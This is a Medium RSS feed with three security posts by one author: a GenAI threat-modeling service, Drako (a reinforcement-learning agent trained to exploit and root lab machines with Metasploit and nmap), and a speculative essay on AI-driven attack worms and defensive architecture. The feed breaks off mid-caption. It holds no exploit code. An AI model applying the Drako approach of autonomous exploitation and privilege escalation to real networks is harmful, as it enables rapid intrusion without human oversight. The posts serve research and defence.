<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Juan Berner on Medium]]></title>
        <description><![CDATA[Stories by Juan Berner on Medium]]></description>
        <link>https://medium.com/@89berner?source=rss-58ed3269a003------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*eStw_UY2uKZoMMyiwlF26A.jpeg</url>
            <title>Stories by Juan Berner on Medium</title>
            <link>https://medium.com/@89berner?source=rss-58ed3269a003------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 14:13:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@89berner/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Self service Threat Modeling with GenAI]]></title>
            <link>https://89berner.medium.com/self-service-threat-modeling-with-genai-7a8d4a17dc26?source=rss-58ed3269a003------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a8d4a17dc26</guid>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[threat-modeling]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[scaling]]></category>
            <category><![CDATA[genai]]></category>
            <dc:creator><![CDATA[Juan Berner]]></dc:creator>
            <pubDate>Tue, 22 Apr 2025 11:52:11 GMT</pubDate>
            <atom:updated>2025-05-20T08:17:45.790Z</atom:updated>
            <content:encoded><![CDATA[<p><em>You can see an opensource version of this service </em><a href="https://github.com/89berner/threat_modeling_service"><em>here</em></a><em>!</em></p><h3>How I started getting involved in Threat Modeling</h3><p>On this post I want to share something I built at Booking.com at the end of 2024. To give some context, I had been working with Threat Modeling at Booking.com since 2023 when I led the initiative of having the practice been done in a structure manner for Application Security to standardise our security reviews and provide it as a proactive control for teams.</p><p>One of the biggest challenges I faced from the start was the question “How do we scale it?”. The problem would boil down into how a team of 5 to 10 people would be able to guide through threat models thousands of engineers. I had explored alternatives such as trainings (and provided quite a few of them), using security ambassadors or similar approaches but we always had concerns on how to actually execute this at scale, mainly:</p><h4>Having dedicated security professionals to lead threat models</h4><p>While this might be possible in some organisations, at our scale it was impractical. Additionally not everyone can excel at running threat models and even less people would want to do it constantly, the amount of people that would be needed to be able to run this and the organisation it would require would be really hard to justify when those resources could be used at other areas.</p><h4>Using ambassadors programs or similar approaches purely focused on Threat Modeling</h4><p>Such initiatives while incredible rewarding are at the same time incredibly hard to maintain even when they don’t have strict objectives such as ensuring regular threat modeling coverage across the organisation. And even in the best of cases they require amounts of resources that are hard to justify in face of other priorities.</p><h4><strong>Training engineers to perform threat models</strong></h4><p>In my experience it’s already really hard for security professionals to be able to guide a threat model to find real threats that teams had missed. You can either spend too much time on little things or too little on the important parts. Additionally, it’s difficult to know before hand which threads to pull and which not to. And beyond this each team would have biases that would usually prevent them from realising how features would be security risks, or why some controls might actually be a necessary and not an “over kill” or risks are “unrealistic”. Even if all engineers were trained on threat modeling, I do believe a third party external to them, be it a security engineer, a team member from another team or a service such as this one, helps them get an outside view.</p><p>While no concrete action to scale it was agreed, for about two years I led a group of threat modeling volunteers inside the security team where I would organise threat models either leading their session or finding others to lead and having the SME’s from the volunteer’s group to participate.</p><p>Things changed when I returned from a 6 month paternity leave around the middle of 2024, during which most of my spare time not spent taking care of the kids was spent on tinkering and learning with LLMs and generative models. As I returned and found out we had to reduce the amount of threat models we would perform to only 1 a month due to resource constraints, it struck me how simple it would be to just scale it with generative AI while leveraging it to educate engineers in security threats. This is how the self service threat modeling service was born.</p><h3>Self Service Threat Modeling</h3><p>What I realised is that we could create a virtual security engineer who would lead the session as a normal threat model would. It could request the documentation from the user, ask the right questions, guide it through a model like <a href="https://en.wikipedia.org/wiki/STRIDE_model">STRIDE</a> eventually providing the risks and mitigations for the user. <strong><em>While I think this is a great idea to be able to commoditze threat modeling, I do believe that for the more complex or risky services having humans do the threat modeling (even assisted by the tool) is the best choice available</em></strong>.</p><p>At its core the service is not a lot different from a custom prompt in ChatGPT, but it does provide the potential to do much more by placing a flow on top of it and the flexibility to use your locally hosted models if you care about your data and privacy. These flows attempt to fix one of the biggest problems we have with threat models, humans and LLMs alike, how to know when you are spending too much on a particular topic or too little on others. Additionally we can reduce the hallucinations the models might produce or improve their capacity to understand the models using information available at your enterprise.</p><p><strong>One of the key differences that a system like this might have with “automatic” tools would be the human element. Being able to have a discussion with the engineer who built a system and asking probing questions, risks or vulnerabilities that might not be evident on the specific code or asset information can be discovered by the agent, which would be exponentially harder for a system that would only rely on analysis the information by itself.</strong></p><p>For this article I created a simplified version of the self service app we use to showcase how it might lead the session and finally display a report. I’m sharing the source code here so anyone can use it or expand it!</p><p>I will now describe what the experience is for the engineers doing the threat model through the self service application step by step:</p><h4>Step 1: Provide information about the system about to be reviewed</h4><p>The first step in the process is the initial form, where you can upload information related to your organisation so the threat models can easily be associated with teams or components in your inventory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OqcR5zgk_bLtK4oyJXdjuw.png" /><figcaption>An example service to be reviewed, you would add as much information as needed for your organisation</figcaption></figure><h4>Step 2: Provide the service with the documentation (either PDF’s or images such as system diagrams)</h4><p>Once we start the threat model, the AI would start going through stages (in this case using the <a href="https://en.wikipedia.org/wiki/STRIDE_model">STRIDE model</a>) but first it would go through a stage of “Documentation Gathering” where it will ask the user for available documentation. Since I’m using gpt4-o I’m able to submit images of diagrams or pdf reports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-0LjOWjAMwCWIR52r_7rLA.png" /><figcaption>The AI will understand the documentation provided and use it thorugh the threat model</figcaption></figure><h4>Step 3: Start the process, going through the STRIDE stages</h4><p>Once you state to the AI you are ready to start (or click on of the buttons in the UI if you need to force it) the AI will start going through the different threats of STRIDE (starting with Spoofing). You can customize how much time you want the AI to spend on each stage (for this demo I stated to not ask more than 5 questions per stage and not more than 5 followups per question if necessary on the same topic).</p><p>Each stage has their own unique prompt to guide the AI through it and ground it avoiding them changing topics mid way and ensuring a good coverage for the threat model.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SSYwWQjMDXOIPHr0wLNv5w.png" /><figcaption>The AI decides to move to Tampering when it has fully finished asking 5 different questions on the Spoofing threat</figcaption></figure><h4>Step 4: Finish the process and generate a report</h4><p>If you go through all the stages (or decide to skip ahead selecting the Presentation stage) the following will happen:</p><ol><li>A different AI will take the conversation as input and provide the findings that were discovered during this conversation. I found this was very good at removing hallucinations and also allows you to use a slower and better model for this stage. Since the AI is no longer in the “threat modeling” persona, it does not include new or unncessary information and just focuses on spotting the findings discussed.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_TzRften104EbChI0bFM0Q.png" /><figcaption>The threat model finished and the findings are listed as well as showing a button to download the report</figcaption></figure><ol><li>A PDF report can be downloaded which contains the service details, summary of the conversation, findings identified and all documentation that was provided. <a href="https://drive.google.com/file/d/1d36sQ4qmux7Vmwn67IflpwOtnUBlH_Ho/view?usp=drive_link">An example can be seen here</a>.</li></ol><h4>Step 5: Create the findings for the threat model</h4><p>At the start my recommendation would be that all threat models are reviewed by humans. During the review of the threat model you might identify improvements, solve bugs, or decide how to tweak the prompts. As the scale of threat models you receive increases you would start either randomly sampling, selecting them based on criticality or even use an LLM to review them to decide which ones need further attention (<em>as with any AI process I would always keep a level of sampling for QA no matter how confident we are in the tool</em>).</p><p>Additionally as time goes on, the threat models which have been processed by the organisation become a source of common problems that also makes the system improve.</p><p>At a higher level this is what the process would like</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1hEUC9X-IQ18N66s-Co6jg.jpeg" /></figure><p>The possibilities of course don’t end here and what I’m providing is merely a simplified version (things like ensuring there are no hallucinations or mapping each finding to the parts of the conversation are not included). Besides being able to feed it information from the system and previous threat models / vulnerabilities in the organisation and making the tool more visually appealing and easier to manage larger components, this system could evolve to become a part of the daily life of developers. I can see this turning into a security companion each engineer could have to ask questions, review possible risks or discuss new features being introduced, easily adding the threat modeling practice into the daily life of the engineer, both helping to identify risks and teaching the engineers about security through it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a8d4a17dc26" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Drako or what I thought the future of Pentesting AI would look like]]></title>
            <link>https://89berner.medium.com/drako-or-what-i-thought-the-future-of-pentesting-ai-would-look-like-43701a497a09?source=rss-58ed3269a003------2</link>
            <guid isPermaLink="false">https://medium.com/p/43701a497a09</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[machine-learning]]></category>
            <category><![CDATA[mls]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Juan Berner]]></dc:creator>
            <pubDate>Fri, 28 Mar 2025 05:47:17 GMT</pubDate>
            <atom:updated>2025-03-28T06:15:09.060Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*uBjQw26B1djxteyvrV5Fig.png" /></figure><p>This is a post about a project I worked in 2020/2021, and I decided to write about it for posterity since it did take a lot of time and was while it did not get to anything, it is interesting to think about with the current state of LLMs.</p><p>In my previous post, <a href="https://89berner.medium.com/designing-for-exploitation-cb51aaca05d1">Time as a Defensive Barrier</a>, I explored how the rise of machine learning could obliterate one of our most relied-upon defenses: the time it takes a human attacker to understand and exploit a network.</p><p>For that post I got one and only one comment but I took it to heart, basically someone being skeptical of AI’s being able to explore unknown vulnerabilities in an environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gw78DCTsiAzhCttyumC29w.png" /><figcaption>The comment that got me thinking on how AI’s could learn how to exploit new systems from scratch</figcaption></figure><p>This got me thinking that if I trained a neural network on how it can exploit current systems, when presented with a new system it would know the most probable ways to exploit it as well. The idea was that this neural network could be baked into a container with tools such as metasploit or nmap, and it would be able to exploit systems, elevate privileges and continue going through the network at a speed much faster than what our processes would expect.</p><p>In short Drako was a system designed to train a reinforcement learning (RL) agent to “hack” vulnerable boxes using Metasploit or other tools, effectively creating what I’ve called a Pentesting AI (PAI) to challenge the assumption that it was not possible. In this post, I’ll go through Drako’s high-level design, break down its components piece by piece, explain how its training process works, and some other details and learnings I had along the way.</p><p>I will first go through the different parts of the system to provide a high level overview:</p><h3>Exploration Engine</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qz613K_atibDRy0gv8B0pQ.png" /></figure><p>The exploration engine was the one that would provide all the “learnings” for the neural network to improve. It would consist of many containers each having either an assigned HackTheBox machine or a virtual machine running on the same system (created from <a href="https://www.vulnhub.com/">vulnhub</a>). There would also be an api to ensure the health of the target machine (in case they broke for some reason) and all their actions (attempt at tool X to exploit it and success/failure) would be written to the database through the prediction API.</p><h3>Training Engine</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHFww8bQcZ1eGyjZR5ndOg.png" /></figure><p>The training engine would have:</p><p>Jupyter notebook: Where I would pretty much play with different algorithms to training the models and test things.</p><p>Network Learner: Where I would run the ML model to train on network events (e.g a metasploit exploit for an apache web server)</p><p>Privesc Learner: Where I would run the ML model to train on privilege escalation events (e.g an exploit on a windows box)</p><p>Orchestrator: This would be the one to ensure we had N Containers running and providing information for the learners.</p><h3>Recommendation Engine</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4f1eh8JSimJLkwJPt2IYYQ.png" /></figure><p>Interestingly in an unexpectedly prescient move, I created a website with a chatbot, and the idea would be that you would talk to the chatbot (which was using AWS Lex) and it would help you hack a box by asking you to upload an nmap scan, then suggesting an exploit or tool, you would provide new information it would then use to update its state and so on. This now seems totally crazy in a world of LLMs but at the time I thought it was a really revolutionary idea, thinking then I would be able to train the model from the feedback of people talking with the bot (they would say they tried X action and got Y result, then we train the model with it).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*grWb7e7J6dHqnJsu7JKtug.png" /><figcaption>Drako’s logo at the website, I don’t think I have screenshots of the chat interface</figcaption></figure><p>And this is how it all worked together:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fln2nP4ain5Lj6XIhSvnHw.png" /><figcaption>Drako’s Architecture</figcaption></figure><h3>How it explored and learned</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Ff6Ct7yOlYmY%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Df6Ct7yOlYmY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Ff6Ct7yOlYmY%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/ac9909bc3a1b88cf63140ba59201f92a/href">https://medium.com/media/ac9909bc3a1b88cf63140ba59201f92a/href</a></iframe><p>Above is a video of the agent exploring different possible states of the machine (each state might be finding out a particular port is opened, some information on the operating system or similar). Each circle would be the information the agent knows at one point and after performing an action (the line) it gets to a different state. Red circles meant a execute permission in the box with green circles meaning it had root (or system admin) privileges in the box.</p><p>The idea being that the model would learn the fastest path from no information to root in the box, using reinforcement learning and the same style Deep Q-Networks (at the end I was testing between DoubleDQN, PrioDQN, and PlannerDQN) it would teach the network that for example when no information you should start with nmap, after that if port 80 is open and you are missing some information maybe its best to check the webserver, if its apache version X then probably exploit Y will work and so on. The reason I splitted the network learner from privilege escalation was simplicity and keeping the amount of parameters in the model smaller (I would have to represent the state considering each port for UDP and TCP and so on as different features of the network).</p><h3>Some of the biggest challenges with the project</h3><h3>Scale</h3><p>Obvious in hindsight, but initially I thought it would be a lot simpler, probably due to my lack of knowledge, to be able to train a system from scratch. In practice when starting from a blank neural network, the amount of actions I would have to take and the resources they would imply meant the project would probably not go far without a huge investment in resources (in particular I found RAM for running the vulnerable software or metastploit api’s to be the most difficult thing to scale) or a way to simulate the environment.</p><h3>Metasploit API</h3><p>I distinctly remember fighting over and over again with the metasploit api. Having to patch it, dealing with the amount of resources it required and finding ways to properly parse the results on successful exploitation as well as proxying actions to it. Still great memories from it but it was clearly not designed to be run at scale like this. The code for that part is in <a href="https://github.com/89berner/drako/tree/main/services/main/lib/Common/Exploration/Metasploit">lib/Common/Exploration/Metasploit/</a>.</p><h3>Providing the state image to the model</h3><p>This was another tricky part as mentioned before, how to turn the state that the Pentest AI knows into something the Neural Network can process correctly. For that I would have a raw observation (RawObservation) and then a different one after processing (ProcessedObservation) to calculate things like bonuses for new sessions (e.g 400 for priv esc), penalties for errors and so on. As well as confirming things were correct (if nmap returned a port was opened I would do a TCP check since sometimes there were incorrect outputs).</p><h3>Training</h3><p>The training system (<a href="https://github.com/89berner/drako/tree/main/services/main/lib/Training">lib/Training</a>/ and <a href="https://github.com/89berner/drako/tree/main/services/main/lib/Common/Training">lib/Common/Training</a>) has the different things I had to implement at the time from scratch or copying from reinforcement learning books. I hardly remember all the details but I do remember how much I struggled with the different alternatives, and why the jupyter notebook was key. It would take a long time to get the experimental data, but once you had it you could test the different models for their predictions. Of course what was harder was figuring out which one was best to add as a predictor to guide the model and their method (like a greedy or epsilon greedy) since it would impact the exploration and performance.</p><h3>Debugging</h3><p>As shown by the fact I had to create a video of the graph in action, I had to do a lot of things to understand what the model was doing, ways to print the information, reports on it and videos of the exploration paths to understand when things were working properly or not. At the time I remember fighting a lot with the graph visualisation, something today we could probably have an llm output in a single prompt. (The code for the visualisation is in <a href="https://github.com/89berner/drako/tree/main/services/main/lib/Presentation">lib/Presentation/Visualizer/</a>)</p><p>You can find the source code here: <a href="https://github.com/89berner/drako.git">https://github.com/89berner/drako.git</a></p><h4>Some additional notes I remember</h4><ol><li>Such a system required a LOT of RAM, I had to buy a used server with 512gb of ram to be able to run the amount of vm’s to train in parallel that I needed, for this the CPU/RAM were the real bottleneck, since training runs required little GPU and the time it would take to get experience from each exploit was much higher.</li><li>It goes without saying that ML is hard, I had to read many books, a couple of coursera courses and specialisations on reinforcement learning to get it working to the state I wanted, and still I would scratch the surface of the possibilities. The most interesting thing I explored was doing simulations with the data, thinking of achieving something similar to what now is common practice for robotics.</li><li>Before going through hosting the vulnerable VMs myself, I started using <a href="https://www.hackthebox.com/">hackthebox</a>, but the limits, and speed it involved made me prefer local vms. A lot of automation had to be built to also automatically create, reset, and reassign vulnerable boxes.</li><li>I also explored the idea of just creating unlimited machines with random configurations, the idea being it would maybe find out new versions of machines which are vulnerable to exploits, again this was limited by the resources it would take but it was a nice experiment.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=43701a497a09" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Designing for exploitation]]></title>
            <link>https://89berner.medium.com/designing-for-exploitation-cb51aaca05d1?source=rss-58ed3269a003------2</link>
            <guid isPermaLink="false">https://medium.com/p/cb51aaca05d1</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[machine-learning]]></category>
            <dc:creator><![CDATA[Juan Berner]]></dc:creator>
            <pubDate>Tue, 14 Jan 2020 14:08:37 GMT</pubDate>
            <atom:updated>2023-08-15T19:53:55.355Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Note: Unlike the rest of the posts in my blog this is a highly speculative one based on some of my expectations of the impact of AI on the cyber security space and how we might need to adapt to it.</em></p><h3>Time as a defensive barrier</h3><p>While building different systems to protect networks, either for <a href="https://medium.com/@89berner/auditing-mongo-instances-with-mongosniff-dc320cf88756">databases</a>, <a href="https://medium.com/@89berner/building-your-own-web-application-firewall-as-a-service-and-forgetting-about-false-positives-fb52fa9a2148">web applications</a> or <a href="https://medium.com/@89berner/detecting-attacks-and-improving-response-through-the-use-of-security-features-23560689bba8">system attacks</a>, a constantly emerging pattern would be a limitation that would arise around how effective our detection and response would be were we faced with an automated system as an adversary. Something that would be clear in all these cases would be <strong>how much we would rely on both the human intervention of those working on defending the networks and the time one would expect an attacker to spend understanding their environment and finding more vulnerabilities or vectors of attack to move around the systems until they can achieve their objective</strong>.</p><p>But what if we no longer had time? One of the most interesting prospects that I foresee in security is the augmentation and automation of the vulnerability finding and exploitation process aided by machine learning which could lead to what I will call for lack of a better term a Pentest AI (PAI). This is by far not a new concern, in 2016 DARPA create a challenge for teams to build such a system under their <a href="https://www.darpa.mil/program/cyber-grand-challenge">Cyber Grand Challenge (CGC)</a>. More recently, there has been the <a href="https://aichallenge.cyberweek.ae/">HITB AI Challenge</a> allowing members to compete on developing an automated penetration testing model based on the <a href="https://github.com/13o-bbr-bbq/machine_learning_security/tree/master/DeepExploit">DeepExploit framework</a> and we should expect the interest on the field to keep growing over time. <strong>A key difference would be that while such an AI might perform at a human level it would be able to think and act several orders of magnitude faster than its human counterpart.</strong></p><p>As an example there are currently few exceptions where being as noisy as needed while attacking a network is a better strategy than trying to avoid triggering alerts, even if it would give more time to the defenders to both find and stop them from achieving their objective. With the rise of ubiquitous usage of machine learning, one thing that stood my attention was how the time that would be used by defenders as one of their main benefits against attackers could be greatly reduced to the point where it would no longer be a factor to consider in their defense strategies. This does not only mean that systems need to be able to respond quickly, but that any human interaction would no longer be an option<strong>. This could result in that any security system built around the expectation of human interaction or depending on the time taken for a human attacker to understand the network and find vulnerabilities to exploit would lose its effectiveness.</strong></p><p>During this post I will try to go over on why the time dimension as a key defensive barrier might significantly decrease due to the usage of machine learning during attacks, how this could change the defense paradigm for the security of our systems and what we could do to create systems that can not only withstand this but thrive on it by changing to a mindset where we design systems that can be exploited and are able to defend by themselves without any human interaction.</p><h3>On the automation of exploitation</h3><p>Automating the exploitation process is older than the World Wide Web, and not much has changed from the first publicly shared instance of a worm known as Morris Worm in 1988¹ to NotPetya in 2017². The automation of exploitation still heavily relies on having a preset of attack vectors baked into the code, and while NotPetya caused an estimated 10 billions of dollars in damage, there are almost no features from the latter that were not present on the former despite being almost 3 decades apart.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*TPdCCd2p4LQJ7MFhA6hzuw.jpeg" /><figcaption>Floppy disk containing the source code for the Morris Worm (Also known as The Worm) held at the Computer History Museum</figcaption></figure><p>There is however a bright future for automating the exploitation process using machine learning, currently we can have a glimpse of progress in different areas such as on the automation of bypass of antivirus software³ or to improve fuzzing for vulnerabilities⁴ or through challenges mentioned above. We are slowly building all the pieces needed for the creation of a piece of software that can replicate the behaviour of the Morris worm or NotPetya but with the added bonus that it would be able to find vulnerabilities in its environment to exploit and devise ways to counteract static measures taken to stop it.</p><h3>The danger of PAI worms</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0fWqF1ctsdF_TjP-y7asqQ.jpeg" /><figcaption>Pictured: An optimistic future where AI agents are burdened with the same constraints as humans</figcaption></figure><p>What is the potential of a PAI? One can devise a system that behaves very similarly to NotPetya or WannaCry but with the added bonus that it would not rely on a set of pre-baked vulnerabilities to move around its environment and would actively discover new ones. A system that is able to automate the usual capabilities of an attacker targeting a network, by being able to discover what software exists on the network it has established its foothold. Such a system could either get public code/binaries for the software it thinks it has encountered and try to find shared exploits for them or interact with it directly in the network by attempting to perform attacks to discover possibly unknown vulnerabilities which would dramatically change the scenario for those defending a network. In such a scenario, the time barrier described before would no longer be effective as a means to stop or significantly delay an attack until human interaction can find a way to push an update, or reverse the software to build patches or find any possible kill switch⁵. <strong>In a similar way that an attacker might currently take weeks or months to go through a network, in particular due to trying to fly under the radar, such a system would be able to accomplish that in minutes or hours</strong>.</p><p>Even if we would discard the possibility of PAI’s finding unknown vulnerabilities (since there would be a financial incentive to whoever is able to build such a system to apply it for their own commercial gain outside of real time sabotage) we have seen in cases such as NotPetya or WannaCry that Zero-days are not necessary for such an attack. A mixture of using currently known vulnerabilities and looking for ways to bypass defenses (such as how NotPetya or the Morris Worm leverage credentials in exploited systems to access other systems that might not be vulnerable) might already be enough to completely take over most of the existing networks that currently exist.</p><p>Our current security tools that focus on prevention techniques (such as isolating in VMs/Containers or configuring the system with SELinux or AppArmor) have a fatal flaw against this threat which is their lack of capacity to automatically adapt based on attempts to bypass them and their reliance on not being vulnerable to attacks. Many others, such as honeypots, would be just pointless. A PAI would be able to quickly explore the system trying to find ways to bypass them either through configuration flaws or vulnerabilities that are present. Not only would the myriad of security solutions placed to protect environments become inefficient against such an attacker, but they might even increase the attack surface due to the amount of code they are built on⁶. To be able to defend against them we would need to change the paradigm of how we build and protect our systems.</p><h3>Designing for exploitation</h3><blockquote><em>Just like the internet was built around the question “Can we create a reliable network with unreliable parts” .. Can we create a secure system with insecure parts? — Bruce Schneier, DEF CON 2019⁷</em></blockquote><p>The motto “Design for failure” is widely accepted nowadays as the only way you can possible create systems in today’s highly distributed and connected environments. When dealing with a system that might reside on thousands of physical servers, it would sound ludicrous to state that the response to a failure on any of those machines should be a human reviewing an alert and having them perform a manual action to allow the system to continue functioning, yet we are placed in a similar situation every day to ensure our system’s security. While there is some agreement that we should expect systems to be compromised, our strategy of just piling up layers to make it harder under the assumption that it will take too long for someone to find a way to bypass all of them would not work against PAI’s. And in many cases it’s the systems that should provide our security the ones that care the least about how we would be protected if they were to be exploited heavily relying on human interaction to protect them from such situations. <strong>If you rely on static defence in depth to keep you secure and simultaneously acknowledge that every layer has a vulnerability (hopefully hidden), then you have to realise that once time and human interaction are removed no amount of depth can protect you.</strong></p><p>Of course many systems advertise themselves as providing automated security, yet afterwards present hundreds of dashboards and views for analysts to use, and all of them in my experience are unable to protect themselves from vulnerabilities on their own products. <strong>We need to start building systems (in particular security systems) with the expectation not just that they have vulnerabilities, but that any preventive measures we place will be bypassed and that they will be actively and constantly exploited</strong> just like we do have the expectation not just that they have possible points of failure despite our best efforts but that they will actively and constantly break (even the systems that control the reliability).</p><p>While for me this is clearly the only way forward in a world where finding vulnerabilities and exploiting them in an automated fashion might become more commonplace, there won’t be a single way to achieve it. During the rest of this post I will go through a high level overview of what properties I found are needed to protect an online forum where we could assume every component has a vulnerability an adversary would be able to discover in a shorter amount of time than any possible human response.</p><h3>Zero Trust, beyond just the network</h3><p>One of the most important mindset shifts I have witnessed in security has been the move to zero trust since its most popular expression through Google’s BeyondCorp paper⁸. In a nutshell this has helped to remove the assumption that networks are secure by themselves inside a particular perimeter and consider any environment as insecure. This has also led among other things to establish the requirement of authentication from each client trying to access a resource which is great to reduce the access of an attacker once they are inside a network. <strong>Yet once a system that has access to a particular resource is compromised, then all the data and all their actions can be manipulated by an attacker since there is an inherent trust that any actions performed by the system are correct. </strong>Other zero trust approaches such as data anonymization do little more than add layers of complexity for an attacker, but all of them can be broken by an attacker with sufficient time.</p><p>Moving to a model where we have zero trust of our own systems would require that any action that creates a permanent record is cross validated and that system can learn from interference, ignore compromised systems and ensure the data’s integrity is maintained. To achieve it, we might need to rely on byzantine fault tolerant systems, of which we can leverage the work done for blockchain technologies implementing smart contracts. While this is still a relatively new field with several problems such as scaling them, there are very promising solutions such as Plasma⁹ that might allow us to build large scale distributed systems that can operate as fast as our current systems yet do not demand complete trust of its members.</p><p>Some of these changes might also require moving logic to purpose built hardware, for example ensuring that devices share signals with other devices in a network despite any compromise that could happen to their systems, so that other systems in the network can learn of the compromise and adapt quickly enough despite the initial compromise.</p><h3>On the weakness of homogeneous systems</h3><p>When considering the security of systems, even those that are tasked with protecting the environment, one of the problems right now is how homogeneous they are. While the lack of diversity of an application deployment means that we can rely that the same behaviour will consistently happen for each instance of the application, from a security perspective this also means that learning how to exploit any of those systems means you could exploit all of them. If we want to design systems that can have some of their components exploited, this homogeneity is a fatal design flaw which we would need to remediate. Just like a species where all its members are too similar is in danger of being quickly eradicated by a small environment change since none of the members are mutated enough to allow them to slowly adapt, we need systems that also have some level of mutation to ensure they can survive attacks from PAI’s.</p><p>This is currently a known problem that systems such as Bitcoin or Ethereum try to solve by having heterogeneous implementations both by their clients programming languages and operating system in which they run. There are several ways we could accomplish this for all our systems in a scalable way either by moving to something to what is called software 2.0¹⁰ or ensuring systems are implemented in several different programming languages and logics, each exposing different vulnerabilities but none of them widespread enough so that all the systems could be taken over faster than they can learn how to protect themselves yet all performing the same tasks in different ways.</p><h3>From Resilience to Antifragility</h3><p>I was introduced to the topic by a paper from Kennie H. Jones titled <a href="https://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/20140010075.pdf">Engineering Antifragile Systems: A Change In Design Philosophy</a> while trying to think around the concept of security systems that might be able to adapt to attacks. Later it was through <a href="https://www.amazon.com/Antifragile-Things-That-Disorder-Incerto/dp/0812979680">Talleb’s Nasim book on Antifragility</a> that it really settled to me the importance of making antifragility a founding concept for systems that need to survive in our current hostile environments. If we are trying to create systems that can not just survive but thrive in situations where they are actively attacked and exploited, making them antifragile is a key concept to dominate. A key difference with current security systems is that we would need future security solutions to adapt on the fly to the actions of the environment, learning and becoming better even faster than PAI’s can try to find different ways to exploit them.</p><h3>Limited impact surface</h3><p>If we work with the assumption that every component has known vulnerabilities that PAI’s will want to quickly discover and exploit, we need to both assume they will be compromised and make it as hard as possible for them to be able to continue inside the network finding other vulnerabilities and exploiting them or exfiltrating data. This will allow us to ensure our systems can respond faster and adapt to any attacks in the environment, but even if we can respond quickly enough and adapt to it immediately (for example after a single sql injection is executed) it might already be too late since data could have been stolen and sent back to an attacker.</p><p>We have already seen attempts to limit the impact surface in large scale systems prone to attacks, such as Amazon’s DNS architecture which utilises cell structures where resources are divided into small groups to reduce the impact of attacks¹¹. If we not only care about availability but also confidentiality and integrity, we could go even further by ensuring that every user has their own environment with its own data. In such a setup I would reference as “Atoms”, any attack would not compromise any data (since either the attacker has compromised user’s credentials or is accessing its own user’s data). Given that we would be working on a zero trust environment, a user that is able to gain a foothold inside one of these environments would have no more impact than it would before, allowing the system enough time to adapt to whatever exploits allowed them to establish a foothold in the first place.</p><p>Using Atom like structures does bring an incredible amount of complexities, such as how to deal with aggregation or searchable data, how to allow Atom to Atom communications and how to deal with systems that cannot be partitioned such as identity services (or how to perform wide scale search when every user’s data is stored behind an Atom’s controls). It does on the other hand ensure that a system that places Atom’s as the first entry point to users can expect those Atom’s to be externally compromised without impacting the data of other users and allowing systems to learn from the compromise without exposing any data.</p><h3>Moving forward</h3><p>To develop further on this topic I started working on a system where I would expect it to survive a PAI. In a way similarly to the <a href="https://www.coker.com.au/selinux/play.html">SELinux playground built by Russell Coker</a> <strong>the idea behind this is to have a web forum that can function normally while possessing several vulnerabilities people might be aware of and actively able to exploit</strong>. This meant implementing many of the concepts mentioned in this post and while it’s still a work in progress (so I won’t be writing details on it in any time soon given the constant changes) it has allowed me to test many of the concepts mentioned previously. At the time of this post it follows an Atom architecture where each user (anonymous or logged in) has their own environment which is both detecting and learning from attacks, and with many baked vulnerabilities that can be exploited (such as RCE, SQLi, SSRF and IDOR) and maintaining it’s security despite of it. <strong>For example a user exploiting an SQL Injection would be able to only dump its own data, since the database it can access only has information for that user.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GtWojzYI_pAYynKy" /><figcaption><em>Example of an Atom architecture where each user has a Kubernetes POD where its data is stored and other users need to interact with it to manage data. Directory 